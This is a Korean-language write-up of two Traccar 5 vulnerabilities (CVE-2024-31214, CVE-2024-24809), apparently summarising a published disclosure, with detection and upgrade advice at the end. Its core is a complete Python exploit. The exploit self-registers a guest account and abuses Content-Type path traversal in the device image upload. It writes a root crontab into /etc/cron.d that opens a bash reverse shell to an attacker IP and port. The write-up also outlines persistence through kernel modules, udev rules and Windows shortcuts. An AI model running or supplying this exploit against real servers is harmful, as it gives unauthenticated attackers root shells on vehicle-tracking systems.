해당 취약점은 Traccar 5의 기본 설정에서 게스트 등록이 활성화된 경우, 인증 없이 공격자가 이를 악용할 수 있다는 것이다.
CVE-2024-31214
CVE-2024-24809
두 개의 CVE에서 다뤄지고 있는데, 모두 원격코드 실행(remote code execution)으로 이어질 수 있다.
Traccar
Traccar는 개인용 뿐만 아니라 기업에서도 차량 관리를 위해 사용하는 인기 있는 오픈 소스 GPS 추적 시스템을 말한다.
Jetty를 웹 서버로 실행하는 Java 기반 애플리케이션이다. Traccar 인터페이스 내에서 사용자는 추적을 위해 장치를 등록할 수 있고, 해당 장치는 위치를 통신하기 위한 다양한 프로토콜을 통해 서버와 통신한다.

Traccar 5.1에서는 사용자들이 기기에 사진을 업로드할 수 있는 새 기능을 제공했는데, 디바이스 이미지 파일 업로드를 처리하기 위한 코드에서 여러 취약점이 발견된다.

디바이스 이미지 업로드 API는 세 가지 변수를 기반으로 파일을 위치에 업로드 한다.
1. 장치의 고유 ID
2. device라는 이름의 정적 파일
3. Content-type header에서 가져온 extension.
이때 1,3번의 경우에 공격자의 조작가능성이 존재한다.
두 CVE 보고서의 결론은 공격자가 임의의 콘텐츠를 가진 파일을 파일 시스템의 어느곳에나 배치할 수 있다는 것이다. 그러나 공격자는 파일 이름에 대한 부분적 통제권만을 가지고 있다. 특히 파일 이름은 특정 형태를 띠어야 한다. 공격자들은 이를 우회한 공격을 실행한다.
크론탭 파일?
Crontab (Cron Table) 파일은 Linux/Unix 시스템에서 특정 시간에 자동으로 실행되는 작업(스케줄링)을 정의하는 파일을 말한다. 이 파일을 사용하면 특정 명령어, 스크립트, 프로그램을 정해진 주기(예: 매일, 매주, 매시간 등)에 자동으로 실행할 수 있다.
from argparse import ArgumentParser
import requests
import sys
import secrets
def register(url) -> tuple:
registration_url = f'{url}/api/users'
username = secrets.token_hex(16)
email = f'{username}@example.org'
password = secrets.token_hex(32)
user_dict = { 'name': username, 'email': email, 'password': password, 'totpKey': None}
r = requests.post(registration_url, json=user_dict, verify=False, timeout=10)
id = r.json()['id']
print(f'Created user id {id} with email {email} and password {password}')
return (email, password)
def login(url, email, password) -> requests.Session:
session = requests.Session()
login_url = f'{url}/api/session'
r = session.post(login_url, data = {'email': email, 'password': password}, verify=False, timeout=10)
r.json()['id'] # got expected login response
print(f'Logged in')
return session
def create_device(url, session):
device_url = f'{url}/api/devices'
device_name = secrets.token_hex(12)
unique_id = device_name
r = session.post(device_url, json={'name': device_name, 'uniqueId': unique_id}, verify=False, timeout=10)
device_id = r.json()['id']
print(f'Created device {device_id} with unique id {unique_id}')
return (device_id, device_name, unique_id)
def upload(url, session, device_id, content_type, data_bytes):
upload_url = f'{url}/api/devices/{device_id}/image'
headers = {
'Content-Type': content_type
}
r = session.post(upload_url, headers=headers, data=data_bytes, verify=False, timeout=10)
if r.status_code == 200:
return r.text
else:
print(f'Upload failed, maybe Windows?: {r.status_code}: {r.text}')
sys.exit(1)
parser = ArgumentParser()
parser.add_argument('url', help='target URL')
parser.add_argument('ip', help='attacker IP to catch a rev shell')
parser.add_argument('port', help='attacker port to catch a rev shell')
args = parser.parse_args()
url = args.url.rstrip('/')
email, password = register(url)
session = login(url, email, password)
device_id, _, _ = create_device(url, session)
# upload test file first, creates media dir if it doesn't exist
upload(url, session, device_id, 'image/png', b'test')
# create dir named device.png;a=" under /opt/traccar/media/<device_unique_id>/ (this will fail on Windows)
upload(url, session, device_id, 'image/png;a="/b"', b'test')
cronshell_bytes = f"* * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1'\n".encode()
cron_file_name = secrets.token_hex(12)
print(f'Uploading crontab file to /etc/cron.d/{cron_file_name}"')
upload(url, session, device_id,
f'image/png;a="/../../../../../../../../../etc/cron.d/{cron_file_name}"', cronshell_bytes)
print(f'Done')
공격자는 Tracccar 사용자를 자가 등록한 다음 Content-Type 헤더의 경로 탐색을 이용하여 크론탭 파일을 업로드한다. 이를 통해 공격자는 호스트에 역쉘을 생성한다.
Method 1 이외의 방법들은 호스트에 로그인하거나 호스트를 재부팅하는 형태로, 어느 정도의 사용자 상호작용을 필요로 한다. 이 방법들은 Traacar가 루트/시스템 수준의 사용자로 설치되어 있다는 사실을 활용한다.
공격자는 크론탭 PoC를 약간 변형하여 크론탭 파일 대신 다음 파일을 디스크에 드롭한다.

1. 커널 모듈 파일 배치 (/root/somename.ko)
이 과정을 통한 뒤, 피해자가 기계를 재시작하면 systemd-modules-load 서비스는 modprobe conf 파일의 구성을 사용하여 커널 모듈을 설치하여 원격 코드를 실행한다.
udevd(udev daemon)는 리눅스에서 하드웨어 이벤트가 발생할 때 자동으로 특정 작업을 실행하는 서비스이다.
특정 파일을 /etc/udev/rules.d/ 폴더에 추가하면, 하드웨어 이벤트 발생 시 해당 파일의 명령이 실행됨.
이 방법을 활용하면 시스템 부팅 시 또는 특정 이벤트 발생 시 자동으로 악성 코드가 실행될 수 있다.

이 방법은 Traccar의 취약점을 악용하여 Windows 바로가기 파일을 이용하여 원격 코드 실행(RCE)을 수행한다.
탐지 방법
Traccar 서버의 취약 여부를 확인하려면 /api/server 엔드포인트에 요청을 보내면 된다.
curl http://<server-ip>:8082/api/server

그럼 이런 응답이 오게 된다. 이때 취약점 존재 조건은 다음과 같다.
대응 방법
1. Traccar 6 버전으로 업그레이드
2. 패치가 불가능한 경우 설정을 변경하여 보호한다.
reference:
https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/